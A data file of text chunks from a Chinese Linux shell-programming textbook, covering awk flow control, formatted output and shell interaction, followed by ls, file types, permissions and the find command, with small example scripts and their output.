    {"text": "修改以后的【例11-31】的执行结果如下： [root@linux chapter11]# ./ex11-31.sh 4 a 99 1 2 3 在上面的输出结果中，下标并没有表现出任何的顺序。"},
    {"text": "除了上面所介绍的内容之外，awk还提供了关于数组的其他的一些操作，例如可以使用delete语句来删除数组的某个元素，使用in运算符来判断数组中是否包含某个元素等。"},
    {"text": "11.7 流程控制 作为一种程序设计语言，awk支持程序的流程控制，例如条件判断、循环，以及其他的一些流程控制语句，例如continue、break，以及exit等。"},
    {"text": "11.7.1 if语句 if语句的功能是根据用户指定的条件来决定执行程序的哪个分支，其语法如下： if (expression) { statement1 statement2 } else { statement3 statement4 } 在上面的语法中，当表达式expression的值为真时，执行语句statement1和statement2；"},
    {"text": "如果if以及else后面的语句只有1条，则可以省略大括号，变成以下形式： if (expression) statement1 else statement2 但是，为了提高程序的可读性，某些开发者可能更喜欢无论是否是多条语句，都使用大括号将其括起来。 如果用户只想处理表达式expression的值为真的情况，而忽略为假的情况，则可以省略else语句，只保留if语句，如下： if (expression) { statement1 statement2 } 除此之外，if和else语句还可以嵌套，从而实现更为复杂的条件分支结构。 【 例11-32 】演示多层嵌套if语句的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-32.sh------------------ 02 #! /bin/awk -f 03 04 { 05 #90 分以上为 A 06 if ($2 >= 90) { 07 print $1,\"A\" 08 } 09 else { 10 #80 分以上为 B 11 if($2 >= 80 && $2 < 90) 12 { 13 print $1,\"B\" 14 } 15 # 其余为 C 16 else 17 { 18 print $1,\"C\" 19 } 20 } 21 } 该例的功能是根据输入文件中的第2个字段的值来将其分级，90以上输出A，80分以上、90以下输出B，其余分数输出C。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-32.sh scores.txt John B Nancy B Tom B Kity C Han A Kon B 11.7.2 while语句 while语句是另外一种常用的循环结构，其语法如下： while (expression) { statement1 statement2 ... } 当表达式expression的值为真时，执行循环体中的statement1以及statement2等语句。"},
    {"text": "【 例11-33 】演示while循环语句的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-33.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义循环变量 06 i=0 07 #while 循环开始 08 while (++i <= 9) 09 { 10 # 输出循环变量 i 的平方 11 print i^2 12 } 13 } 在上面的代码中，第6行定义循环变量i，并且赋初值为0。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-33.sh 1 4 9 16 25 36 49 64 81 从上面的执行结果可以得知，该例实际上是输出了1～9这9个数字的平方。"},
    {"text": "11.7.3 do…while语句 awk还支持另外一种while循环语句，其语法如下： do { statement1 statement2 ... }while (expression) 同样，当表达式expression的值为真时，执行循环体中的语句。 【 例11-34 】使用do…while循环结构实现了输出1～9的平方，代码如下： 01 #---------------------------/chapter11/ex11-34.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 定义循环变量 06 i=1 07 do 08 { 09 # 输出循环变量的平方 10 print i^2 11 }while (++i<=9) 12 } 该程序的执行结果如下： [root@linux chapter11]# ./ex11-34.sh 1 4 9 16 25 36 49 64 81 注意： while语句与do…while语句的区别在于后者会首先执行循环体中的语句，然后判断是否继续执行，因此do…while循环体中的语句至少执行一次。"},
    {"text": "11.7.4 for语句 for循环语句通常用在循环次数已知的场合中，其语法如下： for(expression1; expression2; expression3) { statement1 statement2 ... } 在上面的语法中，表达式expression1通常用来初始化循环变量，表达式expression2通常用来指定循环执行的条件，表达式expression3通常用来改变循环变量的值。"},
    {"text": "【 例11-35 】通过两层for循环实现了九九乘法表的打印输出，代码如下： 01 #---------------------------/chapter11/ex11-35.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 外层循环 06 for(i=1;i<=9;i++) 07 { 08 # 内层循环 09 for(j=1;j<=i;j++) 10 { 11 # 将每一行的数值连接成一个字符串 12 if(i*j<10) 13 { 14 row=row\" \"i*j 15 } 16 else 17 { 18 row=row\" \"i*j 19 } 20 } 21 # 输出每一行数值 22 print row 23 row=\"\" 24 } 25 } 在上面的代码中，第6～23行是外层for循环，该循环从1开始，当循环变量i的值增加到9时终止。 第9～20行是内层for循环，该循环从1开始，当循环变量j的值增加到外层循环的循环变量i时终止。"},
    {"text": "为了能够使得外侧循环一次中所得到的乘积在同一行中输出，所以使用了一个名称为row的变量将同一次外层循环中的所有的乘积连接成一个字符串。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-35.sh 1 2 4 3 6 9 4 8 12 16 5 10 15 20 25 6 12 18 24 30 36 7 14 21 28 35 42 49 8 16 24 32 40 48 56 64 9 18 27 36 45 54 63 72 81 注意： 除了上面介绍的for循环之外，还有一种专门用来遍历数组的for循环结构，在介绍数组的时候已经讲过，不再重复说明。"},
    {"text": "【 例11-36 】演示在awk程序中通过while循环读取数据文件，当第1列的值为Kity时，退出while循环，代码如下： 01 #---------------------------/chapter11/ex11-36.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 循环读取数据 06 while( getline < \"scores.txt\" > 0) 07 { 08 # 当第 1 个字段的额值为 Kity 时退出 09 if($1==\"Kity\") 10 break 11 else 12 print $1,$2,$3,$4,$5 13 } 14 } 在上面的代码中，第6行的getline读取数据文件，该数据来自文件的输入重定向。"},
    {"text": "getline是awk中用于输入重定向的一个函数，它可以从标准输入、管道或者文件读取输入数据，而不只是从当前被处理的文件来读取。 getline函数读取一行数据之后，会自动更新NF、NR，以及FNR等系统变量。 如果成功读取一条记录，则getline函数返回1；"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-36.sh John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 注意： break语句不仅可以用在while循环结构中，还可以用在for及do…while循环结构中，包括嵌套循环结构，用户可以自己去练习。"},
    {"text": "11.7.6 continue语句 continue语句的主要功能是跳过循环结构中该语句后面的尚未执行的语句。 break语句与continue语句的功能有着明显的区别，前者是直接退出循环结构，而后者是跳过循环体中尚未执行的语句，重新执行下一次循环。 【 例11-37 】演示continue语句的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-37.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 通过循环读取数据 06 while( getline < \"scores.txt\" > 0) 07 { 08 # 当第 1 个字段含有字符串 Nancy 时跳过后面的语句 09 if($1 == \"Kity\") 10 continue 11 print $1,$2,$3,$4,$5 12 } 13 } 实际上，该例的代码只是将【例11-36】的代码中的第10行换成了continue语句，其他代码完全相同。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-37.sh John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Han 92 89 80 83 Kon 88 76 85 97 对比【例11-36】和【例11-37】的输出结果，可以发现【例11-36】只输出了3行，其中包含第1个字段为Kity的行在内的后面3行并没有被输出。"},
    {"text": "这说明当第1列的值为Kity时，break语句导致while循环直接退出。 而【例11-37】的输出结果只缺少第1列为Kity的那一行，该行后面的其他行仍然被输出了，这说明continue语句仅仅导致当第1列的值为Kity时，该语句后面的print语句被跳过，但是并没有退出循环结构。"},
    {"text": "假设存在一个包含许多空行的文件，如下： [root@linux chapter11]# cat scores3.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 现在用户需要输出这些数据，并且忽略其中的空行。"},
    {"text": "【 例11-38 】使用next语句可以解决这个问题，条件代码如下： 01 #---------------------------/chapter11/ex11-35.sh------------------ 02 #! /bin/awk -f 03 04 # 当读取的行为空行时跳过后面的语句 05 /^[\\t]*$/ { 06 next 07 } 08 09 # 输出各个字段 10 { 11 print $1,$2,$3,$4,$5 12 } 在上面的代码中，第5行的模式为正则表达式/^[\\t]*$/，表示匹配只含有0个或者多个制表符的行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-38.sh scores3.txt John 85 92 79 87 Nancy 89 90 73 82 Tom 81 88 92 81 Kity 79 65 83 90 Han 92 89 80 83 Kon 88 76 85 97 从上面的执行结果可以得知，所有的空白行都被忽略，没有出现在输出结果中。"},
    {"text": "next语句还可以用在其他场合中，读者可以深入理解next语句的功能，在此基础上达到灵活运用的目的。 注意： 从执行效果上看，next语句和continue语句非常相似，都是跳过后面的部分语句，但是这两者的应用场合有所不同。"},
    {"text": "11.8 awk程序的格式化输出 对于程序来说，输出是一项非常重要的功能，而绝大部分用户对于数据输出都有一定的格式要求，awk提供了基本的格式化输出功能。"},
    {"text": "11.8.2 格式化输出printf语句 虽然大多数情况下awk的print语句可以完成任务，但有时我们还需要对格式做更多的控制。 awk提供了printf()函数来实现字符串的格式化。 这个函数的功能和语法与C语言中的printf()函数基本相同，如下： printf(format, [arguments]) 其中圆括号是可选的，第1个参数format是一个用来描述输出格式的字符串，通常以引号括起来的字符串常量的形式提供。"},
    {"text": "格式化字符串的语法如下： %format 在每个格式描述符前面都要使用一个百分号%，awk中常用的格式化描述符如表11-8所示。 表11-8 常用的格式化描述符 描 述 符 说 明 描 述 符 说 明 c ASCII字符 s 字符串 d 十进制整数 % 百分号本身 e 浮点格式 在表11-8中，最常用的格式描述符为d和s，其中d表示以十进制整数的形式显示相应的参数，s表示以字符串的形式显示相应的参数。"},
    {"text": "【 例11-39 】演示printf函数的使用方法，代码如下： 01 #---------------------------/chapter11/ex11-39.sh------------------ 02 #! /bin/awk -f 03 04 # 格式化输出各个字段 05 { 06 printf (\"%s\\t%d\\t%d\\t%d\\t%d\\t%d\\n\",$1,$2,$3,$4,$5,($2 + $3 + $4 + $5)) 07 } 在上面的代码中，第6行使用printf语句输出一个成绩报表，各个列分别为姓名、各项成绩，以及总成绩。 该程序的执行结果如下： [root@linux chapter11]# ./ex11-39.sh scores.txt John 85 92 79 87 343 Nancy 89 90 73 82 334 … 注意： 与print函数不同，printf函数不会自动在输出的末尾追加一个换行符，因此，用户需要在格式化字符串的最后追加一个\\n字符。 11.8.3 使用sprintf()函数生成格式化字符串 上面介绍的printf()函数会将格式化结果输出到标准输出设备。 sprintf()函数的功能与printf()函数的功能大致相同，但是该函数只是以字符串的形式返回格式化结果，并不输出到标准输出设备。 用户可以将格式化的结果进行其他处理或者使用print()和printf()函数输出到标准输出。"},
    {"text": "【 例11-40 】演示awk工具的简单报表功能，代码如下： 01 #---------------------------/chapter11/ex11-40.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 输出报表头 06 print \"Scores list\" 07 } 08 09 { 10 # 逐行输出学生成绩 11 printf (\"%s\\t%d\\t%d\\t%d\\t%d\\t%d\\n\",$1,$2,$3,$4,$5,($2 + $3 + $4 + $5)) 12 # 计算总成绩 13 total+=$2 + $3 + $4 + $5 14 } 15 16 END { 17 # 计算平均分 18 average=total/NR 19 # 格式化统计结果 20 sum=sprintf(\"Total: %d students, average: %.2f\",NR,average) 21 print sum 22 } 在上面的代码中，第4～7行是BEGIN模式，用来输出报表头部。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-40.sh scores.txt Scores list John 85 92 79 87 343 Nancy 89 90 73 82 334 Tom 81 88 92 81 342 Kity 79 65 83 90 317 Han 92 89 80 83 344 Kon 88 76 85 97 346 Total: 6 students, average: 337.67 11.9 awk的程序与Shell的交互 awk提供了与Shell命令交互的能力，从而可以使用户在awk程序中使用系统资源。"},
    {"text": "【 例11-41 】使用管道调用Shell命令来获取当前在线的用户数，代码如下： 01 #---------------------------/chapter11/ex11-41.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 通过管道获取 who 命令的执行结果 06 while(\"who\" | getline) n++ 07 printf(\"There %d online users.\\n\",n) 08 } 在上面的代码中，第6行是一个while循环结果，其循环条件为\"who\" | getline。 在执行的时候，awk会首先调用Shell命令who，该命令会列出当前系统中已经登录的用户，每一行描述一个用户的信息。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-41.sh There 1 online users. 注意： awk的管道与UNIX或者Linux的管道虽然名称相同，但不是同一个概念。"},
    {"text": "11.9.2 通过system函数实现与Shell的交互 awk提供另一个调用Shell命令的方法，即使用awk函数，其语法如下： system(command) 其中参数command表示要执行的Shell命令。 与管道相比，system函数有许多据局限，例如不能在awk程序中直接获取Shell命令的执行结果，另外，也不能直接将awk程序中的数据传递给Shell命令来处理。"},
    {"text": "【 例11-42 】通过awk工具的system函数执行Shell中的ls命令，并且将得到的文件列表在程序中打印出来，代码如下： 01 #---------------------------/chapter11/ex11-42.sh------------------ 02 #! /bin/awk -f 03 04 BEGIN { 05 # 使用 system 函数调用 Shell 命令 06 system(\"ls > filelist\") 07 # 通过 getline 函数获取数据 08 while(getline < \"filelist\" > 0) 09 { 10 print $1 11 } 12 } 在上面的代码中，第6行使用system函数执行ls命令，由于system不支持数据的传递，所以需要借助一个临时文件作为数据传递的桥梁。"},
    {"text": "该程序的执行结果如下： [root@linux chapter11]# ./ex11-42.sh articles.txt 8 ex11-10.sh 9 ex11-11.sh 10 ex11-12.sh 11 ex11-13.sh … 11.10 小结 本章系统地介绍了awk程序的设计方法，主要内容包括awk的基础知识、awk的模式匹配、变量、运算符和表达式、函数、数组、流程控制、格式化输出，以及与Shell的交互等。"},
    {"text": "查找文件：主要介绍使用find命令来查找文件，包括find命令及语法、路径、测试、使用!运算符对测试求反、处理文件权限错误信息，以及find命令的相关操作等。"},
    {"text": "最简单的ls命令是不带任何选项和参数的形式，如下： [root@linux chapter12]# ls ex12-1.sh iex12-1.sh iex12-2.sh 当单独使用ls时，该命令会列出当前目录中的文件的名称。"},
    {"text": "尽管在某些情况下，用户获取到文件名就可以判断文件是否存在，但是，在绝大部分情况下，使用不带任何选项和参数的ls命令提供的信息非常少。"},
    {"text": "用户可以使用ls命令的-l选项来显示更为详细的信息，如下： [root@linux chapter12]# ls -l total 12 -rwxr-xr-x 1 root root 43 Mar 27 23:04 ex12-1.sh -rwxr-xr-x 1 root root 158 Mar 27 11:38 iex12-1.sh -rwxr-xr-x 1 root root 109 Mar 27 11:02 iex12-2.sh … 在上面的输出结果中，第1列为文件的文件类型和访问权限，其中，第1个字符为文件的类型，如果为常规文件，则使用一个连字符-表示。"},
    {"text": "例如下面的命令列出/etc目录中的文件： [root@linux chapter12]# ls -l /etc total 2228 drwxr-xr-x. 3 root root 4096 Feb 21 2012 abrt drwxr-xr-x. 4 root root 4096 Feb 21 2012 acpi -rw-r--r--. 1 root root 45 Oct 12 07:53 adjtime -rw-r--r--. 1 root root 1512 Jan 12 2010 aliases … 在Linux或者UNIX中，隐藏文件的文件名以圆点.开头，在默认情况下，ls命令并不列出隐藏文件。"},
    {"text": "例如，下面的命令将用户root的主目录中的所有的文件列出来： [root@linux ~]# cd [root@linux ~]# ls -la total 2129964 dr-xr-x---+ 76 root root 4096 Mar 26 15:25 . dr-xr-xr-x. 28 root root 4096 Dec 20 12:51 .. -rw-------. 1 root root 14402 Mar 28 04:46 .bash_history -rw-r--r--. 1 root root 18 May 20 2009 .bash_logout -rw-r--r-- 1 root root 195 Nov 1 08:34 .bash_profile -rw-r--r--. 1 root root 176 Sep 23 2004 .bashrc drwxr-xr-x. 4 root root 4096 Nov 19 22:23 .cache … 在上面的执行结果中，第1行的文件名为一个圆点，表示当前的目录。"},
    {"text": "但是这些类型大致可以分为3类，分别为普通文件、目录和伪文件。 在伪文件中，有3种类型最常见，分别为特殊文件、命名管道，以及proc文件。 下面分别对这些文件类型进行介绍。 1．普通文件 普通文件，又称为常规文件或者一般文件，是与人直接打交道最多的文件类型。 普通文件包含数据，通常位于某种类型的存储设备上面，例如硬盘、U盘、CD或者DVD等。"},
    {"text": "图12-1 使用cat命令显示文本文件内容 二进制文件既包含可显示字符，也包括不可显示字符，也就是说二进制文件包含了全部的256个ASCII字符。"},
    {"text": "在ls-l命令中，普通文件的第1列的第1个字符为连字符-，如下： [root@linux chapter12]# ls -l /bin/ls -rwxr-xr-x 1 root root 111744 Dec 8 2011 /bin/ls 图12-2 查看二进制文件时的乱码 2．目录 在UNIX及Linux系统中，目录也是一种文件。"},
    {"text": "从这一点上讲，目录与我们现实生活中的文件夹的作用相同，在现实生活中，我们可以通过文件夹快速地找到所需要的文件，而在计算机中，我们通过目录也可以快速地找到所需要的文件。"},
    {"text": "通常情况下，某些功能相同或者相关的文件会被放在同一个目录中，例如，UNIX或者Linux系统中的常规命令通常放在/usr/bin目录中，而与系统有关的命令通常放在/usr/sbin目录中。"},
    {"text": "例如，当我们删除一个文件时，该文件的父目录中就会删除该文件对应的记录； 当我们创建一个文件时，会在该文件的父目录文件中增加一条关于该文件的记录。"},
    {"text": "Windows操作系统使用文件夹来组织文件，其功能与UNIX系统的目录基本相同，但是其功能却没有那么强大； Macintosh的文件夹实际上就是目录，只是在文件管理器中以文件夹的形式表现出来。"},
    {"text": "我们再次浏览一下上面的ls -l命令的输出结果，该结果一共有7列，其中第1列就是文件的权限，如下： -rwxr-xr-x 第1个字符是“-”，这个字符表示当前的文件是一个普通文件，不属于权限的范围。"},
    {"text": "为了更加清楚地分析这个文件的权限，可以将这9个字符分成3组，如下： rwx r-x r-- 上面的3组分别代表不同类别的权限，每一类权限都用3位来表示，依次表示文件的读取权限、写入权限和执行权限。 r表示读取（read）权限，拥有该权限的用户将可以使用cat及more等命令查看文件内容。 w表示写入（write）权限，拥有该权限的用户将可以对该文件进行编辑修改。 x表示执行（execute）权限，拥有该权限的用户将可以执行该文件，当然，前提是该文件是可执行文件。"},
    {"text": "那么如何判断哪个用户是该文件的所有者呢，在上面ls-l命令的输出结果中第3列就是文件的所有者，在本例中，db.dat文件的所有者是root用户。"},
    {"text": "第2组是权限是r-x，它表示该文件的组所有者对该文件拥有读和执行的权限，由于第2个权限位是“-”符号，因此，组所有者没有写入该文件的权限。"},
    {"text": "第3组权限是r-x，它表示当前系统的其他用户对该文件拥有读取的权限，由于第2个和第3个权限位都是“-”符号，因此其他用户对db.dat文件不拥有写入和执行的权限。"},
    {"text": "所谓其他用户，是指当前系统中除文件所有者和文件的用户组成员之外的其他所有用户。 在上面的例子中，是指除root用户和root组成员之外的其他的用户。"},
    {"text": "12.2 查找文件 文件的搜索是UNIX及Linux中经常用到的操作。 在Shell程序设计的时候，也经常用到文件搜索。 Linux提供了几个关于文件搜索的命令，例如locate、whereis以及find等。 其中，find命令的功能最为强大，所以本节详细介绍find命令在Shell程序中的使用方法。 12.2.1 find命令以及语法 find命令是UNIX系统中最古老、最复杂的程序之一。 find命令的功能非常强大，可以根据不同的标准搜索任何文件，并且可以在任何位置搜索。"},
    {"text": "实际上find命令的完整语法已经超出本书所讨论的范围，所以下面将逐步介绍最常用的功能。 简单地讲，find命令的基本思想就是搜索一个或者多个目录树，根据用户指定的测试条件，查找符合特定标准的文件。 当查找完成之后，find命令将对查找到的文件执行指定的操作。"},
    {"text": "在使用find命令的，用户通常需要提供3种信息，分别为要搜索的路径、测试条件以及操作。 find命令的基本语法如下： find path test action 其中，path参数表示要搜索的路径，用户可以同时指定多个路径，路径之间用空格隔开。"},
    {"text": "例如，下面是一个简单的find命令： [root@linux ~]# find / -name ls -print 在上面的命令中，路径为根目录/，表示在当前系统的所有的目录及其子目录中进行搜索。"},
    {"text": "【 例12-1 】通过find命令在当前的目录中搜索扩展名为.sh的文件，代码如下： 01 #---------------------------/chapter12/ex12-1.sh------------------ 02 #! /bin/bash 03 04 # 在当前目录中查找扩展名为 sh 的文件 05 files='find . -name \"*.sh\"' 06 07 echo \"$files\" 在上面的代码中，第5行的find命令的路径参数为.，表示当前目录。 测试条件为-name\"*.sh\"，表示搜索扩展名为.sh的文件。"},
    {"text": "该程序的执行结果如下： [root@linux chapter12]# ./ex12-1.sh ./iex12-2.sh ./ex12-1.sh ./iex12-1.sh 如果用户想要在多个路径下面查找，则可以将这些路径全部列出来，中间用空格隔开，如下面的例子所示。 【 例12-2 】演示通过find命令同时搜索多个路径的方法，代码如下： 01 #---------------------------/chapter12/ex12-2.sh------------------ 02 #! /bin/bash 03 04 # 同时指定多个路径 05 files='find /etc /usr/local -name httpd.conf' 06 07 echo \"$files\" 该程序的执行结果如下： [root@linux chapter12]# ./ex12-2.sh /etc/httpd/conf/httpd.conf 从上面的执行结果可以得知，指定的httpd.conf文件位于/etc/httpd/conf目录下面。"},
    {"text": "表12-1 常用的find命令测试条件 条件 说 明 -name pattern 表示包含指定匹配模式的文件名 -iname pattern 表示包含指定匹配模式的文件名，该条件不区分字母大小写 -type 指定文件类型，可以取f和d这两个值，分别表示普通文件和目录 -perm mode 匹配其权限被设置为指定mode的文件 -user userid 匹配其所有者为指定用户ID的文件 -group groupid 匹配其所有者的主组为指定组ID的文件 -size size 匹配其大小为size的文件 -empty 匹配空文件 -amin [-+]n 文件最后一次访问时间，其中-n表示访问时间为距今n分钟以内，+n表示访问时间距今n分钟以前，n表示恰好为n分钟 -atime [-+]n 文件的最后一次访问时间，其中-n表示访问时间为n天以内，+n表示访问时间为n天以前，n表示最后一次访问时间恰好为n天 -cmin [-+]n 文件最后一次状态改变的时间，其中-n表示访问时间为距今n分钟以内，+n表示访问时间距今n分钟以前，n表示恰好为n分钟 -ctime [-+]n 文件的最后一次状态改变的时间，其中-n表示访问时间为n天以内，+n表示访问时间为n天以前，n表示最后一次访问时间恰好为n天 -mmin [-+]n 文件内容最后一次被修改的时间，其中-n表示访问时间为距今n分钟以内，+n表示访问时间距今n分钟以前，n表示恰好为n分钟 -mtime [-+]n 文件内容最后一次被修改的时间，其中-n表示访问时间为n天以内，+n表示访问时间为n天以前，n表示最后一次访问时间恰好为n天 表12-1列出的测试条件可以分为3组，分别为文件名、文件的特征，以及文件的访问或者修改时间。"},
    {"text": "其中，-name和-iname是从文件名进行测试； -type、-perm、-user、-group、-size及-empty是从文件的特征方面进行测试； -amin、-atime、-cmin、-ctime、-mmin及-mtime等是从文件的最后访问时间及修改时间方面进行测试。 在find命令的测试条件中，最常用的是-name和-type，下面将分别进行介绍。"},
    {"text": "【 例12-3 】分别统计/etc目录中全部的文件数量及子目录数量，代码如下： 01 #----------------------------/chapter12/ex12-3.sh------------------ 02 #! /bin/bash 03 04 # 统计文件数量 05 files='find /etc -type f -print | wc -l' 06 # 统计子目录数量 07 directories='find /etc -type d -print | wc -l' 08 # 输出统计结果 09 echo \"There are $files regular files in /etc directory.\" 10 echo \"There are $directories directories in /etc directory.\" 在上面的代码中，第5行的find命令中使用-type f指定文件类型为普通文件，然后将搜索结果通过管道传递给wc命令。"},
    {"text": "该程序的执行结果如下： [root@linux chapter12]# ./ex12-3.sh There are 1539 regular files in /etc directory. There are 269 directories in /etc directory. 注意： 在-type选项中，除了f表示普通文件，d表示目录之外，还有c表示字符设备， b表示块设备，p表示管道，以及l表示链接等。"},
    {"text": "如果想通过文件名搜索文件，可以使用-name和-iname这两个选项，这两个选项的区别在于前者区分字母大小写，而后者则不区分大小写。 【 例12-4 】演示通过文件名来搜索文件的方法，代码如下： 01 #----------------------------/chapter12/ex12-4.sh------------------ 02 #! /bin/bash 03 04 # 搜索名称为 httpd.conf 的文件 05 file='find /etc -name httpd.conf -print' 06 07 # 输出前 5 行 08 head -5 $file 在上面的代码中，第5行的find命令中使用-name选项指定要搜索的文件名为httpd.conf，第8行将搜索到的文件的前5行输出到屏幕。 该程序的执行结果如下： [root@linux chapter12]# ./ex12-4.sh # # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information. # In particular, see 通常情况下，-name选项会精确匹配要搜索的文件名，在【例12-4】中，类似httpd.conf.bak等的文件名不会出现在搜索结果中。"},
    {"text": "为了能够使搜索结果更加完整，用户可以使用通配符?、*或者[]。 其中?表示匹配任意一个单个字符，*表示匹配0或者多个任意字符，[]表示匹配其中的任意一个字符。"},
    {"text": "在使用通配符的时候，注意要使用引号将其引用起来，这样的话可以避免在传递给find命令之前Shell解释这些通配符，从而导致搜索出现错误。 【 例12-5 】本例对【例12-4】进行修改，在-name选项中使用了通配符*，代码如下： 01 #----------------------------/chapter12/ex12-5.sh------------------ 02 #! /bin/bash 03 04 # 使用通配符扩大搜索范围 05 file='find /etc -name \"httpd.conf*\" -print' 06 07 head -5 $file 在上面的代码中，第5行的-name \"httpd.conf*\"表示匹配以字符串httpd.conf开头的文件名，后面可以跟随任意多个字符。 该程序的执行结果如下： [root@linux chapter12]# ./ex12-5.sh ==> /etc/httpd/conf/httpd.conf <== # # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information. # In particular, see ==> /etc/httpd/conf/httpd.conf.bak <== # # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information. # In particular, see ==> /etc/httpd/conf/httpd.conf.bak.20120320 <== # # This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See <URL:http://httpd.apache.org/docs/2.2/> for detailed information. # In particular, see 从上面的执行结果可以得知，使用通配符之后，程序输出了3个文件的内容，其文件名分别为httpd.conf、httpd.conf.bak，以及httpd.conf.bak.20120320。"},
    {"text": "方括号[]也是一种非常有用的通配符，用户可以将一系列的字符放在方括号中，find命令会匹配方括号中的任意一个字符，例如： find /etc -name \"a[abc]\" -print find /etc -name \"data[123abc]\" -print 上面第1条命令表示搜索文件名为aa、ab，以及ac的文件；"},
    {"text": "例如上面的两条命令与下面的两条命令等价： find /etc -name \"a[a-c]\" -print find /etc -name \"data[1-3a-c]\" -print 【 例12-6 】演示方括号通配符的使用方法，代码如下： 01 #----------------------------/chapter12/ex12-6.sh------------------ 02 #! /bin/bash 03 04 # 搜索文件名为 rc 后面跟随 1 个数字的文件名 05 files='find /etc -name \"rc[1-9].d\" -print' 06 07 echo \"$files\" 在上面的代码中，第5行的find命令的测试条件为-name\"rc[1-9].d\"，表示搜索文件名以rc开头，然后跟随1～9中的任意一个数字，然后以.d结尾的文件。 该程序的执行结果如下： [root@linux chapter12]# ./ex12-6.sh /etc/rc1.d /etc/rc3.d /etc/rc5.d /etc/rc2.d /etc/rc4.d … 注意： 尽管在使用通配符的时候不使用引号不一定总是出现错误，但是使用单引号或者双引号将通配符引用起来是一个非常好的习惯。"},
    {"text": "在find命令中，用户可以同时使用多种测试条件，例如： [root@linux chapter12]# find /bin -type f -name ls /bin/ls 表示搜索类型为普通文件，名称为ls的文件。"},
    {"text": "例如，下面的命令搜索/data1/wwwroot目录中，除jpg文件之外的普通文件： [root@linux chapter12]# find /data1/wwwroot -type f \\! -name \"*.jpg\" -print /data1/wwwroot/demo.360zippo.com/gallery.php /data1/wwwroot/demo.360zippo.com/goods.php /data1/wwwroot/demo.360zippo.com/ECShop_V2.7.3_UTF8_release1106.rar /data1/wwwroot/demo.360zippo.com/vote.php /data1/wwwroot/demo.360zippo.com/languages/zh_cn/calendar.php ... 在上面的命令中，-type f表示搜索普通文件，\\!-name\"*.jpg\"表示不匹配以.jpg为扩展名的文件。 如果使用单引号，则上面的命令可以书写为： [root@linux chapter12]# find /data1/wwwroot -type f '!' -name \"*.jpg\" -print 12.2.5 find命令：处理文件权限错误信息 find命令可以在任意指定的位置中搜索指定的文件。"},
    {"text": "如果当前用户对于指定的目录没有访问权限，则find命令会给出一些错误信息，如下： [root@linux chapter12]# su - chunxiao [chunxiao@linux ~]$ find / -name httpd.conf find: '/proc/tty/driver': Permission denied find: '/proc/1/task/1/fd': Permission denied find: '/proc/1/task/1/fdinfo': Permission denied find: '/proc/1/fd': Permission denied … 在上面的命令中，首先使用su命令从root用户切换到另外一个普通用户chunxiao，然后执行find命令。 在find命令执行的过程中，给出一系列Permission denied的错误消息，这意味着当前用户对于当前目录没有访问权限。"},
    {"text": "在下面的命令中，使用重定向将错误消息丢弃： [chunxiao@linux ~]$ find / -name httpd.conf 2> /dev/null /etc/httpd/conf/httpd.conf 在上面的命令中，2是一个文件描述符，表示标准错误，大于号>表示输出重定向。"},
    {"text": "12.2.6 find命令：动作 find命令最为强大的功能在于不仅仅可以根据复杂的条件来搜索文件，而且还可以非常方便地对搜索结果进行处理。 前面已经讲过find命令的语法中的第3部分的action参数就是find命令对于搜索结果的动作。 如表12-2所示，列出了find命令中常用的动作。 表12-2 find命令中常用的动作 动作 说 明 -print 默认动作，将搜索结果写入到标准输出 -fprint file 与-print相同，但是将搜索结果写入到文件file -ls 以详细格式（长格式）显示搜索结果 -fls file 同-ls，但是将搜索结果写入到文件file -delete 将搜索到的文件删除 -exec command {} \\; 查找并执行命令，{}表示搜索到的文件名 -ok command {} \\; 查找并执行命令，但是需要用户确认 在find命令的动作中，-print和-fprint的作用都是输出完整的文件名，但是前者是写入标准输出，后者是写入用户指定的文件。"},
    {"text": "-exec使find命令对搜索结果中的文件执行指定的Shell命令，相应的Shell命令的语法为： 'command' {} \\; 其中command表示Shell命令，大括号{}表示搜索结果中的文件名，最后的分号表示命令的结束。"},
    {"text": "-ok和-exec的作用相同，只不过以一种更为安全的方式来执行该参数所给出的Shell命令，在执行每一个命令之前，都会给出提示，让用户来确定是否执行。"},
    {"text": "【 例12-7 】演示使用find命令搜索并删除文件的方法，代码如下： 01 #----------------------------/chapter12/ex12-7.sh------------------ 02 #! /bin/bash 03 04 # 查找并删除扩展名为 .php 的文件 05 find ./tmp -name \"*.php\" -exec rm -f {} \\; 06 07 # 如果命令成功退出，则输出成功提示，否则给出错误提示 08 if [ $? -eq 0 ] 09 then 10 echo \"the files have been deleted successfully.\"; 11 else 12 echo \"Failed to delete files.\"; 13 fi 在上面的代码中，第5行是find命令，其搜索路径为./tmp，即当前目录中的tmp子目录。"},
    {"text": "动作为-exec rm-f{}\\;，其中的Shell命令为rm-f，即将指定的文件强制删除，不给出任何提示。 后面的{}作为rm命令的参数，表示文件名，即find命令搜索出来的文件。"},
